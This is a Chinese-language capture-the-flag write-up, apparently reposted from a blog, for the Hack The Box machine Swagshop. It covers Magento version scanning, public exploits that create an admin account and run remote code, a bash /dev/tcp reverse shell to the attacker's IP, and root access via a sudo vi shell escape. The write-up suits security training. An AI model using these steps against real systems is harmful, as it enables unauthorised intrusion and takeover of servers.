【HTB系列】Swagshop

靶机介绍

file

靶机IP:10.10.10.140

kali:10.10.12.69

先用nmap来对靶机进行探测

nmap -sC -sV -T 5 -oA Swagshop.nmap 10.10.10.140

扫描结果:

# Nmap 7.80 scan initiated Fri Oct  4 13:24:03 2019 as: nmap -sC -sV -T 5 -oA Swagshop.nmap 10.10.10.140
Warning: 10.10.10.140 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.140
Host is up (0.33s latency).
Not shown: 855 closed ports, 143 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct  4 13:25:16 2019 -- 1 IP address (1 host up) scanned in 73.75 seconds 

开放了22 和 80端口

直接打开访问下网页

file

Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。设计得非常灵活,具有模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

接下来就是网页上进行信息收集。

首先是下面的版权,2014年可以为找漏洞的线索

我们随便点开网页有一个比较奇怪的地方,感觉像是URL重写,前面都会多一个/index.php/

file

file

file
通过gubuster,跑出来的目录也没有什么用

file

这样收集的信息也不是很够,我们还需要另外的工具进行辅助

magescan 专门针对magento的扫描器

下载地址:https://github.com/steverobbins/magescan/releases

php magescan.phar scan:all http://10.10.10.140

Scanning http://10.10.10.140/...

  Magento Information  

+-----------+------------------+
| Parameter | Value            |
+-----------+------------------+
| Edition   | Community        |
| Version   | 1.9.0.0, 1.9.0.1 |
+-----------+------------------+

  Installed Modules  

No detectable modules were found

  Catalog Information  

+------------+---------+
| Type       | Count   |
+------------+---------+
| Categories | Unknown |
| Products   | Unknown |
+------------+---------+

  Patches  

+------------+---------+
| Name       | Status  |
+------------+---------+
| SUPEE-5344 | Unknown |
| SUPEE-5994 | Unknown |
| SUPEE-6285 | Unknown |
| SUPEE-6482 | Unknown |
| SUPEE-6788 | Unknown |
| SUPEE-7405 | Unknown |
| SUPEE-8788 | Unknown |
+------------+---------+

  Sitemap  

Sitemap is not declared in robots.txt
Sitemap is not accessible: http://10.10.10.140/sitemap.xml

  Server Technology  

+--------+------------------------+
| Key    | Value                  |
+--------+------------------------+
| Server | Apache/2.4.18 (Ubuntu) |
+--------+------------------------+

  Unreachable Path Check  

+----------------------------------------------+---------------+--------+
| Path                                         | Response Code | Status |
+----------------------------------------------+---------------+--------+
| .bzr/                                        | 404           | Pass   |
| .cvs/                                        | 404           | Pass   |
| .git/                                        | 404           | Pass   |
| .git/config                                  | 404           | Pass   |
| .git/refs/                                   | 404           | Pass   |
| .gitignore                                   | 404           | Pass   |
| .hg/                                         | 404           | Pass   |
| .idea                                        | 404           | Pass   |
| .svn/                                        | 404           | Pass   |
| .svn/entries                                 | 404           | Pass   |
| admin/                                       | 404           | Pass   |
| admin123/                                    | 404           | Pass   |
| adminer.php                                  | 404           | Pass   |
| administrator/                               | 404           | Pass   |
| adminpanel/                                  | 404           | Pass   |
| aittmp/index.php                             | 404           | Pass   |
| app/etc/enterprise.xml                       | 404           | Pass   |
| app/etc/local.xml                            | 200           | Fail   |
| backend/                                     | 404           | Pass   |
| backoffice/                                  | 404           | Pass   |
| beheer/                                      | 404           | Pass   |
| capistrano/config/deploy.rb                  | 404           | Pass   |
| chive                                        | 404           | Pass   |
| composer.json                                | 404           | Pass   |
| composer.lock                                | 404           | Pass   |
| vendor/composer/installed.json               | 404           | Pass   |
| config/deploy.rb                             | 404           | Pass   |
| control/                                     | 404           | Pass   |
| dev/tests/functional/etc/config.xml          | 404           | Pass   |
| downloader/index.php                         | 404           | Pass   |
| index.php/rss/order/NEW/new                  | 200           | Fail   |
| info.php                                     | 404           | Pass   |
| mageaudit.php                                | 404           | Pass   |
| magmi/                                       | 404           | Pass   |
| magmi/conf/magmi.ini                         | 404           | Pass   |
| magmi/web/magmi.php                          | 404           | Pass   |
| Makefile                                     | 404           | Pass   |
| manage/                                      | 404           | Pass   |
| management/                                  | 404           | Pass   |
| manager/                                     | 404           | Pass   |
| modman                                       | 404           | Pass   |
| p.php                                        | 404           | Pass   |
| panel/                                       | 404           | Pass   |
| phpinfo.php                                  | 404           | Pass   |
| phpmyadmin                                   | 404           | Pass   |
| README.md                                    | 404           | Pass   |
| README.txt                                   | 404           | Pass   |
| shell/                                       | 200           | Fail   |
| shopadmin/                                   | 404           | Pass   |
| site_admin/                                  | 404           | Pass   |
| var/export/                                  | 404           | Pass   |
| var/export/export_all_products.csv           | 404           | Pass   |
| var/export/export_customers.csv              | 404           | Pass   |
| var/export/export_product_stocks.csv         | 404           | Pass   |
| var/log/                                     | 404           | Pass   |
| var/log/exception.log                        | 404           | Pass   |
| var/log/payment_authnetcim.log               | 404           | Pass   |
| var/log/payment_authorizenet.log             | 404           | Pass   |
| var/log/payment_authorizenet_directpost.log  | 404           | Pass   |
| var/log/payment_cybersource_soap.log         | 404           | Pass   |
| var/log/payment_ogone.log                    | 404           | Pass   |
| var/log/payment_payflow_advanced.log         | 404           | Pass   |
| var/log/payment_payflow_link.log             | 404           | Pass   |
| var/log/payment_paypal_billing_agreement.log | 404           | Pass   |
| var/log/payment_paypal_direct.log            | 404           | Pass   |
| var/log/payment_paypal_express.log           | 404           | Pass   |
| var/log/payment_paypal_standard.log          | 404           | Pass   |
| var/log/payment_paypaluk_express.log         | 404           | Pass   |
| var/log/payment_pbridge.log                  | 404           | Pass   |
| var/log/payment_verisign.log                 | 404           | Pass   |
| var/log/system.log                           | 404           | Pass   |
| var/report/                                  | 404           | Pass   |
+----------------------------------------------+---------------+--------+

从扫描结果我们可以看到magento的版本大概为1.9.0.0, 1.9.0.1

敏感路径:
/app/etc/local.xml(有线索)
/index.php/rss/order/NEW/new(无用)
/shopadmin/(无用)

file

接下来用searchsploit来找下magento现在已经的漏洞

file

通过 -x 参数可以看到这些EXP的内容

file

主要是用到这2个

第一个用来进行远程代码执行(但是需要通过身份验证)
第二个可以用来创建管理员账号密码(给第一个EXP的利用创造条件)

先试用第二个EXP,创建管理员账号密码

通过-m 参数可以吧EXP复制到当前路径

file

然后对EXP进行修改

这里修改3个地方
①在之前我们也看到,网页前面都会增加index.php,所以这里我们也要加,否则。。。。你自己可以试试看会报错
file

②这里修改我们增加管理的账号密码
file
③修改下输出信息,方便成功后能直观看到我们的账号密码

file
然后执行下

file
我们尝试登录下

file

成功登录

file

接下来就是利用另一个EXP,来进行远程代码执行

file

重新编辑下EXP

file

我们可以看到我们需要配置的地方
username:dfz
password:dfz
php_function我们不需要修改
install_data:在上面我们发现的/app/etc/local.xml可以查询到

file
配置好的信息如下:

file
开始执行

file

可以看到mechanize报了一个找不到元素的错,mechanize是python里面模拟浏览器操作的模块

结合它需要管理员账号密码

这里应该填的是管理员页面地址

可以看到命令执行成功

file
那么我们就用它反弹shell

file

无法正常反弹

这里猜测,可能是因为这串代码传到服务器的时候 可能因为空格或者是其他的异常的符导致服务器执行失败

之前我们看到whoami命令是可以正常执行的

那么我们就把代码换成这样

python 37811.py http://10.10.10.140/index.php/admin "bash -c 'bash -i >& /dev/tcp/10.10.12.69/4444 0>&1' "

这样当服务器解析到bash -c 时 可以把后面单引号内的内容执行,防止意外干扰

file

成功!!!

我们看下自己的sudo权限

file

可以看到 我们 使用vi 和 使用目录/var/www/html是不需要密码就能获得root权限的

第一反应就是使用vi来进行提权

先使用python的pty
python -c "import pty;pty.spawn('/bin/bash')"

file

发现没有python,但是我们可以用python3
python3 -c "import pty;pty.spawn('/bin/bash')"

file

然后在处理方向键等乱码问题

先ctrl+z 把进程挂到后台

然后输入stty raw -echo

在输入fg(不会显示出来),多按几次回车即可

file

然后需要使用vi进行提权

需要注意的是

①要增加sudo
②vi要输入文件的绝对路径
sudo vi /var/www/html/sdfzy

vi开启后进入命令行模式

然后执行命令
:!/bin/bash

file

file

即可拿到root权限

发布了156 篇原创文章 · 获赞 396 · 访问量 66万+

猜你喜欢

转载自blog.csdn.net/nzjdsds/article/details/102082427
HTB